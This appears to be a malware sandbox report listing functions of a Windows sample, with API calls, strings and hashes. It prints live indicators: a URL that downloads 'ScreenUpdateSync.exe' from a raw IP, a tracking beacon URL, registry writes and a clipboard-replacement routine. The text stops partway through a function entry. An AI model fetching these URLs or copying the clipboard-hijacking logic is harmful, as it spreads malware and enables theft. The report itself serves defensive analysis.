Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 7d8cd30e5a5dccaf66ede2b7c6ba0fed386c2af1955072b127ea0e956d5b5870
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 04527974A01269DFDB64CF58C984BACBBB1BF09305F1480D9E50DAB355EB30AA89DF14

Function 00402C24 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 185
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(ShareScreen,00000000,00000000,00000000,00000000), ref: 00402C47

Part of subcall function 004010BA: _wcslen.LIBCMT ref: 004010C1
Part of subcall function 004010BA: _wcslen.LIBCMT ref: 004010DD

InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00402E5F
InternetCloseHandle.WININET(00000000), ref: 00402E70
InternetCloseHandle.WININET(00000000), ref: 00402E73

Strings

&cc=DE, xrefs: 00402DD9, 00402DDF, 00402E3C
ShareScreen, xrefs: 00402C42
https://post-to-me.com/track_prt.php?sub=, xrefs: 00402C77, 00402DBC, 00402E17

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Internet$CloseHandleOpen_wcslen
String ID: &cc=DE$ShareScreen$https://post-to-me.com/track_prt.php?sub=
API String ID: 3067768807-1501832161
Opcode ID: a8bec4743929572fb9f32f475d47f4abd6f055372441a00394d7fc50db865c55
Instruction ID: 48789f1b3701ba946f3e6b41f8bd096f2728906552624118b4e60daa7bc135c0
Opcode Fuzzy Hash: a8bec4743929572fb9f32f475d47f4abd6f055372441a00394d7fc50db865c55
Instruction Fuzzy Hash: 89516095A65344A8E320EFB0BC52F363378EF58712F10643BE518CB2B2E3B59944875E

Function 004051F5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Cnd_init.LIBCPMT ref: 00405209
__Mtx_init.LIBCPMT ref: 0040522F
std::_Cnd_initX.LIBCPMT ref: 00405252
__Thrd_start.LIBCPMT ref: 00405277
std::_Cnd_waitX.LIBCPMT ref: 00405297
std::_Cnd_initX.LIBCPMT ref: 004052C4

Strings

%X@, xrefs: 0040525C

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Cnd_initstd::_$Cnd_waitMtx_initThrd_start
String ID: %X@
API String ID: 1687354797-3313093589
Opcode ID: 0ea570f09f259dfbc3d5b47f4c5eb340c08c0aee3b3523c1dfd7de2be87ac1a9
Instruction ID: b3e9ac138a89c9aab4b32a44e65933d882eee500b320c13cfd578e42c41f9d09
Opcode Fuzzy Hash: 0ea570f09f259dfbc3d5b47f4c5eb340c08c0aee3b3523c1dfd7de2be87ac1a9
Instruction Fuzzy Hash: 3D214172C042499ADF15EBE9D881BDEB7F8AF08318F14407FE504B72C1DB7D99488A69

Function 0042DFE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00457910,00000010,00000003,00431F7D), ref: 0042DFF3
ExitThread.KERNEL32 ref: 0042DFFA

Strings

f(@, xrefs: 0042DFEC, 0040F20C
11@, xrefs: 0042E02F

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorExitLastThread
String ID: 11@$f(@
API String ID: 1611280651-1277599000
Opcode ID: 05a6bf9322938420f326034e00ba90610ba59fb7b5f4eb19846d64da3dd64c95
Instruction ID: 8ccfe30e394ff3a7da82f1aad20c2a43f0afb1cc8a6867a0b2db1ae1affa3120
Opcode Fuzzy Hash: 05a6bf9322938420f326034e00ba90610ba59fb7b5f4eb19846d64da3dd64c95
Instruction Fuzzy Hash: 5BF0C874600624AFDB04AFB1D80ABAD3B70FF49715F10056EF4055B392CB796955CB68

Function 00405825 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Cnd_initX.LIBCPMT ref: 00405841
__Cnd_signal.LIBCPMT ref: 0040584D
std::_Cnd_initX.LIBCPMT ref: 00405862
__Cnd_do_broadcast_at_thread_exit.LIBCPMT ref: 00405869

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Cnd_initstd::_$Cnd_do_broadcast_at_thread_exitCnd_signal
String ID:
API String ID: 2059591211-0
Opcode ID: 16e91ae191353f76377487b504f8ad98fae09f0c97f906459e9bfe3258fa4ce0
Instruction ID: d72f8bc51fec51febc5e3899202a3526e07d3a061d0a8301a91111c4e624332c
Opcode Fuzzy Hash: 16e91ae191353f76377487b504f8ad98fae09f0c97f906459e9bfe3258fa4ce0
Instruction Fuzzy Hash: 20F0A7714007009BE7317762C817B0A77A0AF0031DF10883FF15A769E2CF7DA8544A5D

Function 00402980 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 004029AF
__fassign.LIBCMT ref: 004029BF

Part of subcall function 00402843: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402926

Strings

4+@, xrefs: 00402A04

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Ios_base_dtor__fassign_wcslenstd::ios_base::_
String ID: 4+@
API String ID: 2843524283-3700369575
Opcode ID: d6927ac8dcf44b0011b1dce344e42bafe9dfab0a11997840a9f38d6492e0eb02
Instruction ID: 257e808548a25f0c421a3fe296c20495207b494aef35f76eb7bec397418e7454
Opcode Fuzzy Hash: d6927ac8dcf44b0011b1dce344e42bafe9dfab0a11997840a9f38d6492e0eb02
Instruction Fuzzy Hash: 1801F9B1E0021C5ADB24FA25EC46BEF7768AB41304F0402FFA705E31C1D9785E45CA88

Function 0042E134 Relevance: 4.6, APIs: 3, Instructions: 54
threadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(?,?,Function_0002DFE0,00000000,?,?), ref: 0042E17D
GetLastError.KERNEL32(?,?,?,?,?,0040CF33,00000000,00000000,?,?,00000000,?), ref: 0042E189
__dosmaperr.LIBCMT ref: 0042E190

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: f788247bfe16cd787040539d6f1c9311eafedbd5b023f877c643640da45ad27a
Instruction ID: e33ff4e630afc97a712763e24a24b73512c1ee0121ef7b9dc61686095db8a569
Opcode Fuzzy Hash: f788247bfe16cd787040539d6f1c9311eafedbd5b023f877c643640da45ad27a
Instruction Fuzzy Hash: 7F01D236600229ABDB119FA3FC05AAF3B69EF81360F50013AF91582210DB358921DBA8

Function 00434775 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,0040DDFA,00000000,00000002,0040DDFA,00000000,?,?,?,00434824,00000000,00000000,0040DDFA,00000002), ref: 004347AE
GetLastError.KERNEL32(?,00434824,00000000,00000000,0040DDFA,00000002,?,0042C181,?,00000000,00000000,00000001,?,0040DDFA,?,0042C236), ref: 004347B8
__dosmaperr.LIBCMT ref: 004347BF

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: 0f8939188b6fdc8a7da50d1b405e1129083f9e2b96a50d0a3cd5949e7845d65d
Instruction ID: 3f4161a45120eee3ca6c804ab5e0c8b7ff266a4415271cac2496bd2984e95623
Opcode Fuzzy Hash: 0f8939188b6fdc8a7da50d1b405e1129083f9e2b96a50d0a3cd5949e7845d65d
Instruction Fuzzy Hash: CC016836610114ABCB159FAADC058EF7B29EFCA730F24030AF814872C0EB74AD418794

Function 00402BCD Relevance: 4.5, APIs: 3, Instructions: 41
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNEL32(80000001,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402BEF
RegSetValueExW.KERNEL32(?,?,00000000,00000001,?,00000004,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402C07
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402C17

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 17a0f39c5dea863e0681c067e94205fb1cf9212befe975e377a74504568b03c9
Instruction ID: 5f9d8f05081ab8e61a544dd9ed380a1f0a89feb258115cbe41ff1dcf5e2af099
Opcode Fuzzy Hash: 17a0f39c5dea863e0681c067e94205fb1cf9212befe975e377a74504568b03c9
Instruction Fuzzy Hash: 75F0B4B650011CFFEB214F94DD89DAFBA7CEB417E9F100175FA01B2150D6B14E009664

Function 0042E094 Relevance: 4.5, APIs: 3, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431F7E: GetLastError.KERNEL32(?,?,?,0042EAEE,00434D9C,?,00431F28,00000001,00000364,?,0042E005,00457910,00000010), ref: 00431F83
Part of subcall function 00431F7E: _free.LIBCMT ref: 00431FB8
Part of subcall function 00431F7E: SetLastError.KERNEL32(00000000), ref: 00431FEC

ExitThread.KERNEL32 ref: 0042E0A6
CloseHandle.KERNEL32(?,?,?,0042E1C6,?,?,0042E03D,00000000), ref: 0042E0CE
FreeLibraryAndExitThread.KERNEL32(?,?,?,?,0042E1C6,?,?,0042E03D,00000000), ref: 0042E0E4

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary_free
String ID:
API String ID: 1198197534-0
Opcode ID: 358fd455719f577d8bc93a3d3127ed53d65e98e9d00355e3dd6338ab7ece4e02
Instruction ID: 02d263aed51cb6b3bee4cffa2fb4446158e609bbc081d0db7e94150c61e2e04c
Opcode Fuzzy Hash: 358fd455719f577d8bc93a3d3127ed53d65e98e9d00355e3dd6338ab7ece4e02
Instruction Fuzzy Hash: 8FF05E302006347BDB356F27E808A5B3AA8AF05764F484726B924C37A1D7B8DD828698

Function 0043CFEB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0043D02C

Strings

'C, xrefs: 0043CFED

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free
String ID: 'C
API String ID: 269201875-3508614867
Opcode ID: dcff01ba0718bc25fbadba801be0e76f759b5211c2d86b2f90a3e61a906836b7
Instruction ID: ac23cf383b269f77c0b068b48fc7cf8c71372a03a023b6a8bdb9567da4463856
Opcode Fuzzy Hash: dcff01ba0718bc25fbadba801be0e76f759b5211c2d86b2f90a3e61a906836b7
Instruction Fuzzy Hash: D0F09A32810008BBCF155E96EC01DDF3B6AEF89338F10115AFA1492150DA3A8A22ABA4

Function 004023BA Relevance: 3.1, APIs: 2, Instructions: 129windowCOMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 004023E1
PostQuitMessage.USER32(00000000), ref: 00402583

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: MessagePostProcQuitWindow
String ID:
API String ID: 3873111417-0
Opcode ID: 1f3d487c3c03d627e5903ad7b0a4cc32456bcc0014a944db875e3b1801701b52
Instruction ID: f7540e8b067131d9abd8b97533556e050534cde561c52fa9c46de49641595c4f
Opcode Fuzzy Hash: 1f3d487c3c03d627e5903ad7b0a4cc32456bcc0014a944db875e3b1801701b52
Instruction Fuzzy Hash: 91410C15A64384A9E730EFA5BD15B2537B0EF64762F10253BE528DB2F2E3B58580C30E

Function 0040155A Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000215D), ref: 00401562

Part of subcall function 004010BA: _wcslen.LIBCMT ref: 004010C1
Part of subcall function 004010BA: _wcslen.LIBCMT ref: 004010DD

Strings

http://176.113.115.37/ScreenUpdateSync.exe, xrefs: 0040156D, 004016A3

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _wcslen$Sleep
String ID: http://176.113.115.37/ScreenUpdateSync.exe
API String ID: 3358372957-2681926500
Opcode ID: ddfdc33ddaf944cd93ee91cdfc7456df5d56f708170e8b920f6740c66972ae79
Instruction ID: a225884332a17bf582b8fadba65ee921369c39f73c189ef0fca73ca0a6338174
Opcode Fuzzy Hash: ddfdc33ddaf944cd93ee91cdfc7456df5d56f708170e8b920f6740c66972ae79
Instruction Fuzzy Hash: 6E318C15A6538094E230CFA5BC66B252330FFA8752F51253BD60CCB2F2E7A19583C71E

Function 04630E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,04630223,?,?), ref: 04630E19
SetErrorMode.KERNEL32(00000000,?,?,04630223,?,?), ref: 04630E1E

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 279098fbc4625447d142e69cea58e0e25790a31d64f91bc4247c7fddf4ca4535
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 22D0123124512877D7003A94DC09BCD7B1CDF05B63F008011FB0DD9180C770954046E5

Function 004341A6 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77dff8414438c132d9b1b222249ac9577754d763359ce41167806e2a442978e4
Instruction ID: c13f0aaa9ffca533a2c3afb5b433fd4ee60c85f45f94f80d5c2ee7b15d17ea23
Opcode Fuzzy Hash: 77dff8414438c132d9b1b222249ac9577754d763359ce41167806e2a442978e4
Instruction Fuzzy Hash: 2051C331A00218AFDB10DF59C840BEA7BA1EBC9364F19919AF809AB391C735FD42CB54

Function 004036C4 Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004037A1

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 2283a06a2fad5c3ceff95e800cd0e8c9cbaa35fb85d12550c614d86d70b6a1f3
Instruction ID: b9260250dbf28f9d15b3c818f63209514cdecf0a47afbf9c4decfe0e49894dcf
Opcode Fuzzy Hash: 2283a06a2fad5c3ceff95e800cd0e8c9cbaa35fb85d12550c614d86d70b6a1f3
Instruction Fuzzy Hash: 95316AF5604716AFC710CF2AC880A1ABFA9BF84351F04C53EF84497791D739DA548B8A

Function 00402843 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402926

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID:
API String ID: 323602529-0
Opcode ID: ac15786566c7c12d7d6604bc2b543ac292efb61edc09540775426cdd15f97b46
Instruction ID: 06a190b1af6bffd0b30009583d7beab466b865d2b1cdf6d05da26eaaeda62aaf
Opcode Fuzzy Hash: ac15786566c7c12d7d6604bc2b543ac292efb61edc09540775426cdd15f97b46
Instruction Fuzzy Hash: E3312CB4D002199BDB04EFA5C891AEDBBB4BF58304F5085AEE415B3681DB786A48CF54

Function 00403CE7 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00403CEE

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 8f7dc48dcb05c21fbbcda5fcf12e76a98b4592d37682d1b18d39cb0d63f71a47
Instruction ID: 130d185d73aa858ab00e75432ddc36e19440830dd378bf412e93c481dd82f4d6
Opcode Fuzzy Hash: 8f7dc48dcb05c21fbbcda5fcf12e76a98b4592d37682d1b18d39cb0d63f71a47
Instruction Fuzzy Hash: 98215870A00245EFCB11DF55C480EAEBBB5BF48704F2480AEE805AB391C778AE50CB94

Function 004327A5 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 004327E3

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: ebde34e331f36d73ae22f6b7be2bf13c9f524ff7c3251c4fe3554b52cc0156cf
Instruction ID: 247e0a556512b48f7b921b083965eca1f7392b8622cfa12ec24d1c2ccd616764
Opcode Fuzzy Hash: ebde34e331f36d73ae22f6b7be2bf13c9f524ff7c3251c4fe3554b52cc0156cf
Instruction Fuzzy Hash: B511067590420AAFCB05DF58E94199A7BF4EF48314F10406AF809AB311D671EA158BA9

Function 004336C7 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0040D895,00000000,?,004267BE,00000002,00000000,00000000,00000000,?,0040CD46,0040D895,00000004,00000000,00000000,00000000), ref: 004336F9

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 94f750592cee1f743f5fc95d96a6c8fbd485f7a37a0c4c452716bcfbad1791b8
Instruction ID: 8b2e0ce5f68243881f48833c9379da8a786ec54fae66de81054fb87b7da3eb6a
Opcode Fuzzy Hash: 94f750592cee1f743f5fc95d96a6c8fbd485f7a37a0c4c452716bcfbad1791b8
Instruction Fuzzy Hash: C9E0E5B1A046207ADA302FA65C06B5B3A48AF497B2F056133FC0592290FF2CDE4081AD

Function 0040FB31 Relevance: 1.5, APIs: 1, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 004103E7

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: d3dc0e7b799cf4addcb5e854e1870d6270b50bfba89a80199028074021f20c37
Instruction ID: f0ff8e4b9f7cc01ea46f57855d09a1922a3c0907516a33a9cf8cca3f22e82038
Opcode Fuzzy Hash: d3dc0e7b799cf4addcb5e854e1870d6270b50bfba89a80199028074021f20c37
Instruction Fuzzy Hash: E8E02B3050030D76CB107A65FC1195E33381A00328F90413BBC24A14D1EF78F99D858D

Function 0043CD2A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,0043D105,?,?,00000000,?,0043D105,00000000,0000000C), ref: 0043CD47

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c1825962b9e2d68b99604ae1ec91ea351fd51148a2f332f138c69e8dc7c90181
Instruction ID: f5cec35e3468c2ebfedbe18043dc9de9c020ce50a8bef62643be49baa2ffa0a5
Opcode Fuzzy Hash: c1825962b9e2d68b99604ae1ec91ea351fd51148a2f332f138c69e8dc7c90181
Instruction Fuzzy Hash: DCD06C3200014DBBDF028F84DC06EDA3BAAFB48714F014150BA1856020C732E921AB95

Function 02DAD92D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 02DAD97E

Memory Dump Source

Source File: 00000000.00000002.4138092342.0000000002DAD000.00000040.00000020.00020000.00000000.sdmp, Offset: 02DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dad000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: bfa7924535b06c6bc0b266e6cfef80a6f37b23be9bcbff637b38de9f6e8bfba1
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 07112B79A00208EFDB01DF98C989E98BBF5EF08350F058094F9489B362D371EA50DF90

Non-executed Functions

Function 04631947 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 151clipboardsleepmemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 04631951
Sleep.KERNEL32(000011EB), ref: 0463195B

Part of subcall function 0463CE9C: _strlen.LIBCMT ref: 0463CEB3

OpenClipboard.USER32(00000000), ref: 04631988
GetClipboardData.USER32(00000001), ref: 04631998
_strlen.LIBCMT ref: 046319B4
_strlen.LIBCMT ref: 046319E3
_strlen.LIBCMT ref: 04631B27
EmptyClipboard.USER32 ref: 04631B3D
GlobalAlloc.KERNEL32(00000002,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 04631B4A
GlobalUnlock.KERNEL32(00000000), ref: 04631B74
SetClipboardData.USER32(00000001,00000000), ref: 04631B7D
GlobalFree.KERNEL32(00000000), ref: 04631B84
CloseClipboard.USER32 ref: 04631BA8
Sleep.KERNEL32(000002C7), ref: 04631BB3

Strings

4#E, xrefs: 04631961
i, xrefs: 046319C4

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Clipboard$_strlen$Global$DataSleep$AllocCloseEmptyFreeH_prolog3_OpenUnlock
String ID: 4#E$i
API String ID: 4246938166-2480119546
Opcode ID: 5a18581ab405ad27caf1df7c8ac30ba184fa26a46bc7722f265aab5c590d64ee
Instruction ID: d43ef50cefa1f17c0e550426f09c46009f58f28d1f0e73cb31adb6da850c4612
Opcode Fuzzy Hash: 5a18581ab405ad27caf1df7c8ac30ba184fa26a46bc7722f265aab5c590d64ee
Instruction Fuzzy Hash: 9351F331D003C5DAE311DFA4ED05BED7764FF2A307F045268E802A6162FBB0AA85C769

Function 0463237D Relevance: 22.7, APIs: 15, Instructions: 205nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,00000014,?,?), ref: 046323B8
GetClientRect.USER32(?,?), ref: 046323CD
GetDC.USER32(?), ref: 046323D4
CreateSolidBrush.GDI32(00646464), ref: 046323E7
CreatePen.GDI32(00000001,00000001,00FFFFFF), ref: 04632406
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 04632427
GetDeviceCaps.GDI32(00000000,0000005A), ref: 04632432
MulDiv.KERNEL32(00000008,00000000), ref: 0463243B
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000031,00451F10), ref: 0463245F
SetBkMode.GDI32(?,00000001), ref: 046324EA
_wcslen.LIBCMT ref: 04632502

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Create$BrushCapsClientDeviceFontModeNtdllProc_RectRectangleSolidWindow_wcslen
String ID:
API String ID: 1529870607-0
Opcode ID: be0766d7ae0c697a5dba668a9829c24405f9e4c1de05ebb10b7902c4c9583b03
Instruction ID: 7a834a6e7959c0e35066c452b2dc7bbdaa00212e14662d6804d56f05daf51e70
Opcode Fuzzy Hash: be0766d7ae0c697a5dba668a9829c24405f9e4c1de05ebb10b7902c4c9583b03
Instruction Fuzzy Hash: 8171ED72900228AFDB229F64DD85FAEB7BCEB09711F4042A5F609E6155DA74AF80CF14

Function 0043B78E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,0043BAAD,?,00000000), ref: 0043B827
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,0043BAAD,?,00000000), ref: 0043B850
GetACP.KERNEL32(?,?,0043BAAD,?,00000000), ref: 0043B865

Strings

OCP, xrefs: 0043B7E2
ACP, xrefs: 0043B7AC

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 21f00b6a3c247b9fce04692a0f5e8342b2d0b582c69aad3f893cd06e155ac896
Instruction ID: 27c07f44f4bcc92ed5b0bc77b7acbdc5106fd624739a874395cd08b17b137cf5
Opcode Fuzzy Hash: 21f00b6a3c247b9fce04692a0f5e8342b2d0b582c69aad3f893cd06e155ac896
Instruction Fuzzy Hash: 39210336A00104A6E738AF14C801B9773AAEF58F64F56942BEB0AD7310E736DE01C3D8

Function 0466B9F5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

